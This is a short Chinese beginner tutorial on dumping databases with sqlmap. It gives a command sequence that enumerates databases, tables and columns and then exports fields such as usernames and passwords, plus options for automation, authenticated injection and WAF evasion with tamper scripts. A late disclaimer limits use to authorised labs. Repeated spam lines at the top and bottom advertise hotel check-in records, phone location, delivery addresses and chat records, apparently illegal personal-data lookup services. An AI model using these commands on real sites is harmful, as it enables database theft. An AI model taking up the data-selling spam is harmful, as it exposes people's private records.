sqlmap 爆数据库命令 新手可用
@ ( 开房记录、手机定位 )@
@ ( 外卖地址、聊天记录 )@
针对新手使用 sqlmap 获取数据库信息(俗称“爆库”),最核心的思路是遵循“由大到小、逐层深入”的逻辑。以下为你整理了最常用、最基础的命令组合,并附带了新手必备的实用参数:
一、 核心“爆库”四步曲(基础公式)
这是最经典的获取数据流程,建议新手先熟练掌握:
1. 爆所有数据库名称
sqlmap -u "目标URL" --dbs
说明:获取目标服务器上存在的所有数据库名称。
2. 爆指定数据库下的所有表
sqlmap -u "目标URL" -D 数据库名 --tables
说明:使用 -D 指定上一步获取的数据库名称,列出该库中的所有表。
3. 爆指定表中的所有字段(列)
sqlmap -u "目标URL" -D 数据库名 -T 表名 --columns
说明:使用 -D 和 -T 分别指定库名和表名,获取该表的字段结构。
4. 爆指定字段中的数据(脱库)
sqlmap -u "目标URL" -D 数据库名 -T 表名 -C 字段名 --dump
说明:使用 -C 指定具体字段(多个字段用逗号隔开,如 username,password),将数据导出到本地。
二、 新手必加的“防坑”实用参数
在实际操作中,为了避免 sqlmap 频繁询问或报错,强烈建议在上述命令后加上以下参数:
* --batch:全自动模式。不再询问任何选项,全部采用默认配置,极大提升效率。
* --flush-session:清除缓存。当目标数据发生变化,但 sqlmap 仍读取旧结果时,加上此参数可强制重新测试。
* --cookie="你的Cookie值":针对需要登录才能访问的页面,必须携带有效的 Cookie 才能注入。
* --random-agent:随机 User-Agent。防止因默认 UA 被 WAF(Web应用防火墙)拦截。
三、 常见场景快捷命令
1. 针对 POST 请求注入
如果参数在请求体中,可以使用 Burp Suite 抓包保存为 request.txt,然后使用 -r 参数:
sqlmap -r request.txt --dbs --batch
2. 快速查看当前环境信息
如果你只想快速确认当前连接的数据库和用户:
sqlmap -u "目标URL" --current-db --current-user --batch
3. 绕过 WAF 的进阶尝试
如果发现被拦截,可以尝试提高测试等级并使用混淆脚本:
sqlmap -u "目标URL" --dbs --level=3 --tamper="space2comment" --batch
️ 安全合规提示:
sqlmap 是强大的渗透测试工具,请务必在获得明确授权的本地靶场(如 DVWA、Pikachu)或合法的安全评估项目中使用。未经授权对他人系统进行测试属于违法行为。
@ ( 开房记录、手机定位 )@
@ ( 外卖地址、聊天记录 )@
